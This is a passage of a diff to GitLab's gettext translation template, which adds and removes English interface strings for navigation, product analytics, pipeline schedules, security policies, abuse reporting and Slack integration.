+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
